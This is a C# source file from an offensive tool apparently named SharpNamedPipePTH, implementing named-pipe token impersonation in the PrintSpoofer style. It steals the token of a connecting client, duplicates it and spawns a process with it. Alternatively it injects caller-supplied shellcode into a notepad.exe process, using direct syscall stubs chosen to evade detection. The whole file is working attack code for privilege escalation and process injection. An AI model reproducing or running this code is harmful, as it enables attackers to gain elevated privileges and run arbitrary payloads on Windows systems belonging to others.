/
PipeServerImpersonate.cs
421 lines (347 loc) · 16.5 KB
/
PipeServerImpersonate.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Diagnostics;
namespace SharpNamedPipePTH
{
class PipeServerImpersonate
{
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
public static uint PIPE_ACCESS_DUPLEX = 0x00000003;
public static uint PIPE_READMODE_BYTE = 0x00000000;
public static uint PIPE_TYPE_BYTE = 0x00000000;
public static uint PIPE_WAIT = 0x00000000;
public static uint TOKEN_ALL_ACCESS = 0xF01FF;
public static uint TOKENUSER = 1;
public static uint SECURITY_IMPERSONATION = 2;
public static uint TOKEN_PRIMARY = 1;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public enum CreationFlags
{
DefaultErrorMode = 0x04000000,
NewConsole = 0x00000010,
CREATE_NO_WINDOW = 0x08000000,
NewProcessGroup = 0x00000200,
SeparateWOWVDM = 0x00000800,
Suspended = 0x00000004,
UnicodeEnvironment = 0x00000400,
ExtendedStartupInfoPresent = 0x00080000
}
public enum LogonFlags
{
WithProfile = 1,
NetCredentialsOnly = 0
}
[StructLayout(LayoutKind.Sequential)]
struct PROFILEINFO
{
public int dwSize;
public int dwFlags;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpUserName;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpProfilePath;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpDefaultPath;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpServerName;
[MarshalAs(UnmanagedType.LPTStr)]
public String lpPolicyPath;
public IntPtr hProfile;
}
// Imports, feel free porting them to D/Invoke or Syscalls :P
[DllImport("userenv.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool LoadUserProfile(IntPtr hToken, ref PROFILEINFO lpProfileInfo);
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateNamedPipeW(string pipeName, int openMode, int pipeMode, int maxInstances, int outBufferSize, int inBufferSize, int defaultTimeout, ref SECURITY_ATTRIBUTES securityAttributes);
[DllImport("kernel32.dll")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
[DllImport("Advapi32.dll")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentThread();
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool RevertToSelf();
[DllImport("kernel32.dll")]
public static extern IntPtr WaitForSingleObject(IntPtr handle, int dwMilliseconds);
[DllImport("Advapi32.dll")]
private static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(
string StringSecurityDescriptor,
uint StringSDRevision,
out IntPtr SecurityDescriptor,
IntPtr SecurityDescriptorSize);
// DInvoke Stuff
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtOpenProcess(
ref IntPtr ProcessHandle,
uint DesiredAccess,
ref OBJECT_ATTRIBUTES ObjectAttributes,
ref CLIENT_ID ClientId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
uint BufferLength,
ref uint BytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
uint NewProtect,
ref uint OldProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS NtCreateThreadEx(
out IntPtr threadHandle,
SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList);
[StructLayout(LayoutKind.Sequential, Pack = 0)]
struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
public static int ProcByName(string processname)
{
Process[]
processlist = Process.GetProcesses();
foreach (Process theprocess in processlist)
{
if (theprocess.ProcessName == "notepad")
{
return theprocess.Id;
}
}
return 0;
}
public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes, string args)
{
// some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs
string pipename = PipeName;
string binary = Binary;
SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();
// Create our named pipe
pipename = string.Format("\\\\.\\pipe\\{0}", pipename);
Console.WriteLine("Create Named Pipe: " + pipename);
ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero);
IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes);
if (hPipe != IntPtr.Zero)
{
// Connect to our named pipe and wait for another client to connect
bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);
if (result)
{
Console.WriteLine("Connect success!");
}
else
{
Console.WriteLine("Connect fail!");
return;
}
// Impersonate the token of the incoming connection
result = ImpersonateNamedPipeClient(hPipe);
if (result)
{
Console.WriteLine("Successfully impersonated client!");
}
else
{
Console.WriteLine("Impersonation failed!");
return;
}
// Open a handle on the impersonated token
IntPtr tokenHandle;
result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);
if (result)
{
Console.WriteLine("OpenThreadToken succeeded!");
}
else
{
Console.WriteLine("OpenThreadToken failed!");
return;
}
// Duplicate the stolen token
IntPtr sysToken = IntPtr.Zero;
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);
if (result)
{
Console.WriteLine("DuplicateTokenEx succeeded!");
}
else
{
Console.WriteLine("DuplicateTokenEx failed!");
return;
}
// Get the impersonated identity and revert to self to ensure we have impersonation privs
String name = WindowsIdentity.GetCurrent().Name;
Console.WriteLine($"Impersonated user is: {name}.");
if (shellcodebytes != null)
{
RevertToSelf();
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
sInfo.cb = Marshal.SizeOf(sInfo);
binary = @"C:\windows\system32\notepad.exe";
bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo);
Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!");
int ProcID = ProcByName("notepad");
var shellcode = shellcodebytes;
// NtOpenProcess
IntPtr stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess");
NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess));
IntPtr hProcess = IntPtr.Zero;
OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES();
CLIENT_ID ci = new CLIENT_ID
{
UniqueProcess = (IntPtr)(ProcID)
};
SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult;
statusresult = ntOpenProcess(
ref hProcess,
0x001F0FFF,
ref oa,
ref ci);
// NtAllocateVirtualMemory
stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory");
NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory));
IntPtr baseAddress = IntPtr.Zero;
IntPtr regionSize = (IntPtr)shellcodebytes.Length;
statusresult = ntAllocateVirtualMemory(
hProcess,
ref baseAddress,
IntPtr.Zero,
ref regionSize,
0x1000 | 0x2000,
0x04);
// NtWriteVirtualMemory
stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory");
NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory));
var buffer = Marshal.AllocHGlobal(shellcodebytes.Length);
Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length);
uint bytesWritten = 0;
statusresult = ntWriteVirtualMemory(
hProcess,
baseAddress,
buffer,
(uint)shellcodebytes.Length,
ref bytesWritten);
// NtProtectVirtualMemory
stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory");
NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));
uint oldProtect = 0;
statusresult = ntProtectVirtualMemory(
hProcess,
ref baseAddress,
ref regionSize,
0x20,
ref oldProtect);
// NtCreateThreadEx
stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx");
NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx));
IntPtr hThread = IntPtr.Zero;
statusresult = ntCreateThreadEx(
out hThread,
SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
IntPtr.Zero,
hProcess,
baseAddress,
IntPtr.Zero,
false,
0,
0,
0,
IntPtr.Zero);
}
else
{
// Only testing purpose to fake an interactive logon somehow
PROFILEINFO profInfo = new PROFILEINFO();
bool loadProfileSuccess = LoadUserProfile(sysToken, ref profInfo);
if (loadProfileSuccess)
{
Console.WriteLine("LoadUserProfile success!");
}
else
{
Console.WriteLine("LoadUserProfile failed!");
}
RevertToSelf();
// Spawn a new process with the duplicated token, a desktop session, and the created profile
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
sInfo.cb = Marshal.SizeOf(sInfo);
bool output = CreateProcessWithTokenW(sysToken, 0, binary, args, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo);
Console.WriteLine($"Executed '{binary}' with impersonated token!");
}
}
}
}
}